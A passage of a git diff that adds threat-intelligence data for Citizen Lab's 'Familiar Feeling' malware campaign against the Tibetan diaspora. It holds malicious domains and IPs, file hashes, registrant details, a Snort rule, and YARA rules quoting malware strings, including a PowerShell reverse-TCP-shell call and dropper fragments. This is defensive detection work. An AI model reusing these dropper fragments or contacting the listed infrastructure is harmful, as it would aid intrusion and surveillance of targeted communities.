Malware Artifacts + Domain Watchlist + Network activity: ms-cdn-88.com (MISP Attribute #18162) + + + + + ms-cdn-88.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: solitude.file-download.today (MISP Attribute #18163) + Malware Artifacts + Domain Watchlist + Network activity: solitude.file-download.today (MISP Attribute #18163) + + + + + solitude.file-download.today + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: system.documentations.live (MISP Attribute #18164) + Malware Artifacts + Domain Watchlist + Network activity: system.documentations.live (MISP Attribute #18164) + + + + + system.documentations.live + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: epiphany.download-document.world (MISP Attribute #18165) + Malware Artifacts + Domain Watchlist + Network activity: epiphany.download-document.world (MISP Attribute #18165) + + + + + epiphany.download-document.world + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: epoch.wind-files.today (MISP Attribute #18166) + Malware Artifacts + Domain Watchlist + Network activity: epoch.wind-files.today (MISP Attribute #18166) + + + + + epoch.wind-files.today + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: internet.document-management.today (MISP Attribute #18167) + Malware Artifacts + Domain Watchlist + Network activity: internet.document-management.today (MISP Attribute #18167) + + + + + internet.document-management.today + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: cdn-upd-ms6.com (MISP Attribute #18168) + Malware Artifacts + Domain Watchlist + Network activity: cdn-upd-ms6.com (MISP Attribute #18168) + + + + + cdn-upd-ms6.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Event Threat Level: High + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: DETECT + + + MISP Tag: TARGET:SYRIA + + + MISP Tag: TARGET:EGYPT + + + MISP Tag: TARGET:TURKEY + + + + + citizenlab + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/indicators.csv b/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/indicators.csv new file mode 100644 index 0000000..ff197ad --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/indicators.csv @@ -0,0 +1,41 @@ +uuid,event_id,category,type,value,comment,to_ids,date +5a71edfd-1054-4f90-b881-09238e96ca05,133,Network activity,domain,"tibetnews.info","",1,20180131 +5a71edfd-1460-419f-bf27-09238e96ca05,133,Network activity,domain,"tibetnews.today","",1,20180131 +5a71edfd-2d74-416f-b7f1-09238e96ca05,133,Network activity,domain,"daynew.today","",1,20180131 +5a71edfd-3760-46ea-ac88-09238e96ca05,133,Network activity,domain,"daynews.today","",1,20180131 +5a71edfd-5044-404c-8b48-09238e96ca05,133,Network activity,domain,"commail.co","",1,20180131 +5a71edfd-65f0-498f-8143-09238e96ca05,133,Network activity,domain,"comemail.email","",1,20180131 +5a71edfd-6f60-4192-8e0f-09238e96ca05,133,Network activity,domain,"tibethouse.info","",1,20180131 +5a71edfd-f620-4e5f-bc15-09238e96ca05,133,Network activity,domain,"tibetfrum.info","",1,20180131 +5a71edfd-f73c-4213-9784-09238e96ca05,133,Network activity,domain,"comemails.email","",1,20180131 +5b657bbb-48f4-4cc2-a236-72cf8064ab0b,133,Network activity,ip-dst,"27.126.186.222","",1,20180804 +5b657bbb-9bdc-4b23-b160-72cf8064ab0b,133,Network activity,ip-dst,"115.126.86.151","",1,20180804 +5b657bbb-d594-49ae-8e85-72cf8064ab0b,133,Network activity,ip-dst,"45.127.97.222","",1,20180804 +5b657bbb-e338-4722-af6a-72cf8064ab0b,133,Network activity,ip-dst,"103.55.24.196","",1,20180804 +5b657bbb-eed0-4569-a919-72cf8064ab0b,133,Network activity,ip-dst,"203.189.232.207","",1,20180804 +5b657bbb-f600-4013-bb4b-72cf8064ab0b,133,Network activity,ip-dst,"27.126.176.169","",1,20180804 +5b657c1b-46f4-4103-9646-72cb8064ab0b,133,Network activity,domain,"google.comemails.email","",1,20180804 +5b657c1b-5dc0-4f64-8569-72cb8064ab0b,133,Network activity,domain,"www.google.comemails.email","",1,20180804 +5b657c1b-7ab4-4be5-bdfa-72cb8064ab0b,133,Network activity,domain,"google.commail.co","",1,20180804 +5b657c1b-7b50-4ccb-8487-72cb8064ab0b,133,Network activity,domain,"www.comemail.email","",1,20180804 +5b657c1b-8868-476a-ad15-72cb8064ab0b,133,Network activity,domain,"mail.google.commail.co","",1,20180804 +5b657c1b-9da8-4d2a-be4e-72cb8064ab0b,133,Network activity,domain,"google.commail.email","",1,20180804 +5b657c1b-de48-4c26-a83a-72cb8064ab0b,133,Network activity,domain,"google.comemail.email","",1,20180804 +5b657c33-0f28-4582-acc2-72cd8064ab0b,133,Attribution,whois-registrant-email,"bqfkdrmnhh0623@gmail.com","",0,20180804 +5b657c43-9d0c-49d7-97a8-72cc8064ab0b,133,Attribution,whois-registrant-name,"huang ning","",0,20180804 +5b657c55-0d84-46ef-9e3b-167e8064ab0b,133,Attribution,whois-registrant-phone,"8677687877","",0,20180804 +5b657c65-3318-46b2-9cd8-15688064ab0b,133,Artifacts dropped,md5,"75b86a01196854919626e87d5bd45a38","",0,20180804 +5b657c65-56dc-4bb8-800d-15688064ab0b,133,Artifacts dropped,md5,"054bad7ec0e19cec931078d45382fee6","",0,20180804 +5b657c65-5c00-46f9-b147-15688064ab0b,133,Artifacts dropped,md5,"88e85fb6074ae50a3ccc9b410805ffe5","",0,20180804 +5b657c65-7318-4bf3-8278-15688064ab0b,133,Artifacts dropped,md5,"058a5d47f8834fccfff8971f0544e387","",0,20180804 +5b657c65-7f80-448a-992b-15688064ab0b,133,Artifacts dropped,md5,"57ffde3504934e25904bcc57d27f9217","",0,20180804 +5b657c65-86ec-442d-b077-15688064ab0b,133,Artifacts dropped,md5,"4d85904b15c0adc8664f71bc2c5496bf","",0,20180804 +5b657c65-8bcc-4a7e-aa47-15688064ab0b,133,Artifacts dropped,md5,"124c475d67aa8391f5220efcc64ca5b3","",0,20180804 +5b657c65-9788-4a4c-b5a9-15688064ab0b,133,Artifacts dropped,md5,"c25acaa45b0cf65a39c8413fa99e1fe8","",0,20180804 +5b657c65-b82c-4e03-aa1b-15688064ab0b,133,Artifacts dropped,md5,"b1c114ae9172a3bacc5c6b30c410f354","",0,20180804 +5b657c65-cb5c-4c8a-b8db-15688064ab0b,133,Artifacts dropped,md5,"72c88c4a9d2316b266a6702374411a99","",0,20180804 +5b657c65-f658-4b36-9ac8-15688064ab0b,133,Artifacts dropped,md5,"91e976f76cc027931fed4cf70702efff","",0,20180804 +5b657d14-0654-4e9b-b833-72cf8064ab0b,133,Artifacts dropped,md5,"e1b03f5837533ecc9a05e19650d68e1d","",0,20180804 +5b657d14-2854-4f64-9d64-72cf8064ab0b,133,Artifacts dropped,md5,"67e866c461c285853b225d2b2c850c4f","",0,20180804 +5b657d14-8f34-41e0-ba68-72cf8064ab0b,133,Artifacts dropped,md5,"11e0f3e1c7d8855ed7f1dcfce4b7702a","",0,20180804 +5b657d2e-f628-4a1e-b142-72cb8064ab0b,133,Payload delivery,email-src,"tibetanparliarnent@yahoo.com","",0,20180804 diff --git a/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/indicators.json b/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/indicators.json new file mode 100644 index 0000000..c33d6b7 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/indicators.json @@ -0,0 +1,674 @@ +{"response":[{ + "Event": { + "id": "133", + "orgc_id": "2", + "org_id": "2", + "date": "2018-01-31", + "threat_level_id": "2", + "info": "Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces", + "published": true, + "uuid": "5a71edc8-26a8-43fb-8271-5c948e96ca05", + "attribute_count": "40", + "analysis": "2", + "timestamp": "1533377838", + "distribution": "1", + "proposal_email_lock": false, + "locked": false, + "publish_timestamp": "1533378310", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Attribute": [ + { + "id": "18346", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657c65-f658-4b36-9ac8-15688064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377637", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "91e976f76cc027931fed4cf70702efff", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18347", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657c65-7f80-448a-992b-15688064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377637", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "57ffde3504934e25904bcc57d27f9217", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18348", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657c65-3318-46b2-9cd8-15688064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377637", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "75b86a01196854919626e87d5bd45a38", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18349", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657c65-9788-4a4c-b5a9-15688064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377637", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "c25acaa45b0cf65a39c8413fa99e1fe8", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18350", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657c65-86ec-442d-b077-15688064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377637", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "4d85904b15c0adc8664f71bc2c5496bf", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18351", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657c65-5c00-46f9-b147-15688064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377637", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "88e85fb6074ae50a3ccc9b410805ffe5", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18352", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657c65-7318-4bf3-8278-15688064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377637", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "058a5d47f8834fccfff8971f0544e387", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18353", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657c65-8bcc-4a7e-aa47-15688064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377637", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "124c475d67aa8391f5220efcc64ca5b3", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18354", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657c65-56dc-4bb8-800d-15688064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377637", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "054bad7ec0e19cec931078d45382fee6", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18355", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657c65-b82c-4e03-aa1b-15688064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377637", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "b1c114ae9172a3bacc5c6b30c410f354", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18356", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657c65-cb5c-4c8a-b8db-15688064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377637", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "72c88c4a9d2316b266a6702374411a99", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18357", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657d14-2854-4f64-9d64-72cf8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377812", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "67e866c461c285853b225d2b2c850c4f", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18358", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657d14-0654-4e9b-b833-72cf8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377812", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "e1b03f5837533ecc9a05e19650d68e1d", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18359", + "type": "md5", + "category": "Artifacts dropped", + "to_ids": false, + "uuid": "5b657d14-8f34-41e0-ba68-72cf8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377812", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "11e0f3e1c7d8855ed7f1dcfce4b7702a", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18343", + "type": "whois-registrant-email", + "category": "Attribution", + "to_ids": false, + "uuid": "5b657c33-0f28-4582-acc2-72cd8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377587", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bqfkdrmnhh0623@gmail.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18344", + "type": "whois-registrant-name", + "category": "Attribution", + "to_ids": false, + "uuid": "5b657c43-9d0c-49d7-97a8-72cc8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377603", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "huang ning", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18345", + "type": "whois-registrant-phone", + "category": "Attribution", + "to_ids": false, + "uuid": "5b657c55-0d84-46ef-9e3b-167e8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377621", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "8677687877", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18048", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a71edfd-5044-404c-8b48-09238e96ca05", + "event_id": "133", + "distribution": "5", + "timestamp": "1517415933", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "commail.co", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18049", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a71edfd-f620-4e5f-bc15-09238e96ca05", + "event_id": "133", + "distribution": "5", + "timestamp": "1517415933", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "tibetfrum.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18050", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a71edfd-6f60-4192-8e0f-09238e96ca05", + "event_id": "133", + "distribution": "5", + "timestamp": "1517415933", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "tibethouse.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18051", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a71edfd-1054-4f90-b881-09238e96ca05", + "event_id": "133", + "distribution": "5", + "timestamp": "1517415933", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "tibetnews.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18052", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a71edfd-2d74-416f-b7f1-09238e96ca05", + "event_id": "133", + "distribution": "5", + "timestamp": "1517415933", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "daynew.today", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18053", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a71edfd-3760-46ea-ac88-09238e96ca05", + "event_id": "133", + "distribution": "5", + "timestamp": "1517415933", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "daynews.today", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18054", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a71edfd-1460-419f-bf27-09238e96ca05", + "event_id": "133", + "distribution": "5", + "timestamp": "1517415933", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "tibetnews.today", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18055", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a71edfd-f73c-4213-9784-09238e96ca05", + "event_id": "133", + "distribution": "5", + "timestamp": "1517415933", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "comemails.email", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18056", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5a71edfd-65f0-498f-8143-09238e96ca05", + "event_id": "133", + "distribution": "5", + "timestamp": "1517415933", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "comemail.email", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18336", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657c1b-de48-4c26-a83a-72cb8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377563", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google.comemail.email", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18337", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657c1b-46f4-4103-9646-72cb8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377563", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google.comemails.email", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18338", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657c1b-7ab4-4be5-bdfa-72cb8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377563", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google.commail.co", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18339", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657c1b-9da8-4d2a-be4e-72cb8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377563", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "google.commail.email", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18340", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657c1b-8868-476a-ad15-72cb8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377563", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail.google.commail.co", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18341", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657c1b-7b50-4ccb-8487-72cb8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377563", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.comemail.email", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18342", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657c1b-5dc0-4f64-8569-72cb8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377563", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "www.google.comemails.email", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18330", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657bbb-48f4-4cc2-a236-72cf8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377467", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "27.126.186.222", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18331", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657bbb-e338-4722-af6a-72cf8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377467", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "103.55.24.196", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18332", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657bbb-eed0-4569-a919-72cf8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377467", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "203.189.232.207", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18333", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657bbb-d594-49ae-8e85-72cf8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377467", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "45.127.97.222", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18334", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657bbb-9bdc-4b23-b160-72cf8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377467", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "115.126.86.151", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18335", + "type": "ip-dst", + "category": "Network activity", + "to_ids": true, + "uuid": "5b657bbb-f600-4013-bb4b-72cf8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377467", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "27.126.176.169", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18360", + "type": "email-src", + "category": "Payload delivery", + "to_ids": false, + "uuid": "5b657d2e-f628-4a1e-b142-72cb8064ab0b", + "event_id": "133", + "distribution": "5", + "timestamp": "1533377838", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "tibetanparliarnent@yahoo.com", + "SharingGroup": [], + "ShadowAttribute": [] + } + ], + "ShadowAttribute": [], + "Tag": [] + } +}]} diff --git a/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/openioc.ioc b/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/openioc.ioc new file mode 100644 index 0000000..9426d14 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/openioc.ioc @@ -0,0 +1,101 @@ + + + Event #133 + Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces + + citizenlab + 2018-01-31T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/rules.snort b/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/rules.snort new file mode 100644 index 0000000..ca694a4 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/rules.snort @@ -0,0 +1 @@ +alert tcp any any -> $HOME_NET any (flow:to_server,established; msg:"Indecent Powershell LOGIN"; content: "LOGIN| 7c 2a 7c |"; pcre:"/LOGIN\|\*\|[0-9\.]+\|\*\|[0-9\.]+\|\*\|/"; sid:1000000;) diff --git a/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/rules.yara b/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/rules.yara new file mode 100644 index 0000000..f46f88c --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201808_FamiliarFeeling/rules.yara @@ -0,0 +1,273 @@ +rule powershell_dropper { + meta: + author = "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $a = "$decentID = [System.Convert]::FromBase64String($indecentID)" + $b = "if($tmp[1].CPU -gt 0) {} else {[ReverseTCPShell]::run()}" + $c = "function Get-RSACode()" + $d = "-file %temp%\\233.ps1" + + condition: + 1 of them +} + +rule dropper_strings { + meta: + author = "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $a = "bitsadmin /canceft\\windows\\currebitsadmin /addfibitsadmin /Resumbitsadmin /SetNosoftware" + $b = "\\microsotifyCmdLine %s rle %s c:\\windowsbitsadmin /creat\\system32\\net.ex" + $c = "rundll32.exe %s Main" + $d = "d1fasg34" + $e = "FindResource %s error" + + condition: + uint16(0) == 0x5A4D and 2 of them +} + +rule payload_wab32res_strings { + meta: + author = "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $a1 = "%02d%02d%02d%02d%02d%03d" + $a2 = "459B2-3311-54C3- /Processid:{712" + $a3 = "CreateProcess %s" + $a4 = "FakeRun.dll" + $a5 = "Release\\FakeRun.pdb" + + condition: + uint16(0) == 0x5A4D and 2 of them +} + +rule pcnt_cert { + meta: + author = "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $a = "MIIDWjCCAkICCQCdeJZhGKJakTANBgkqhkiG9w0BAQUFADBvMQswCQYDVQQGEwJV" + $b = "UzERMA8GA1UECAwITmVicmFza2ExEDAOBgNVBAcMB0xpbmNvbG4xDTALBgNVBAoM" + $c = "BFBDTlQxDTALBgNVBAsMBFBDTlQxHTAbBgkqhkiG9w0BCQEWDnBjbnRAZ21haWwu" + $d = "Y29tMB4XDTE4MDEwNjA2MDMyMloXDTI4MDEwNDA2MDMyMlowbzELMAkGA1UEBhMC" + $e = "VVMxETAPBgNVBAgMCE5lYnJhc2thMRAwDgYDVQQHDAdMaW5jb2xuMQ0wCwYDVQQK" + $f = "DARQQ05UMQ0wCwYDVQQLDARQQ05UMR0wGwYJKoZIhvcNAQkBFg5wY250QGdtYWls" + $g = "LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK+ihHezE6jjS2Vl" + $h = "/rIIQsrczmbjU/4KYDiLiCcrxN0tht6GzL281KGoW13IiQvKILANmx02IAy5tzij" + $i = "0W9ZvFAIRRYVDpoSU+EyXz4LjHgXvw6VeG9v3HV99iSmphkq7mLYee0EPYP6wSdB" + + condition: + uint16(0) == 0x5A4D and all of them +} + +rule custom_decryption { + meta: + author = "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $encrypt = { 8b d6 81 e2 07 00 00 80 79 05 4a 83 ca f8 42 8a 04 1e 0f be 0c 95 28 7e 46 00 34 01 0f be c0 0f af c8 80 f1 67 88 0c 1e 46 3b f7 7c d3 } + $encrypt2 = { 8A 0C 30 8B D0 83 E2 07 80 F1 01 0F BE C9 0F BE 54 95 D0 0F AF D1 80 F2 85 88 14 30 40 } + $decrypt_file1 = { 0f b6 01 8b d6 83 e2 07 34 01 0f be c0 83 c6 04 0f be } + $decrypt_file2 = { 0f af d0 0f b6 41 01 34 01 0f be c0 88 11 8d 14 0f 83 e2 07 0f be } + $decrypt_file3 = { 0f af d0 0f b6 41 02 34 01 0f be c0 88 51 01 8d 14 0b 83 e2 07 0f be } + $decrypt_file4 = { 0f af d0 0f b6 41 03 34 01 0f be c0 88 51 02 8b 55 fc 03 d1 83 e2 07 0f be } + + condition: + uint16(0) == 0x5A4D and ($encrypt or $encrypt2 or all of ($decrypt_file*)) +} + +rule tclient_strings { + meta: + author = "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $a = "sdf81msdf7" + $b = "software\\klive" + $c = "\\Registry\\User\\%s\\Software\\KLive" + $d = "%s\\wab32res.dll" + $e = "[!]NtDeleteValueKey Error:%ul" + $f = "%sDebugLog.TXT" + $g = "Server connect to [%s:%d] Sucesse! token = %s" + $h = "192.168.70.1" + $i = "Start %d connect %s:%d" + + condition: + uint16(0) == 0x5A4D and 3 of them +} + +rule tclient_string { + meta: + author= "Etienne Maynier" + email = "etienne@citizenlab.ca" + + strings: + $a = "showgodmoney1gz" + $b = "MDDEFGEGETGIZ" + + condition: + uint16(0) == 0x5A4D and 2 of them +} + +rule dsng_installer_dll_characteristics { + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $s1 = "dsng.dll" + $s2 = "InstallD" fullword + $s3 = "InstallZ" fullword + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + all of them +} + +rule dsng_installer_dll_stringset { + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $s1 = "KCOM Server Security Guard" + $s2 = "LoadFlgDllFun" + $s3 = "Installv" fullword + $s4 = "Dll path %s" + $s5 = "MainFunVvv" + $s6 = "http://dsas.asdf.com/" + + condition: + //MZ header + uint16(0) == 0x5A4D and + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + 2 of them +} + +rule tibetan_indecent_rtf_meta { + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $operator = "{\\operator Windows \\'d3\\'c3\\'bb\\'a7}" + + condition: + any of them +} + +rule tibetan_indecent_ppsx_meta +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $createdby = "Windows User" + $createdate = "2017-10-23T00:57:05Z" + + condition: + all of them +} + +rule tibetan_indecent_powershell +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + + strings: + $decents1 = "$indecentID" 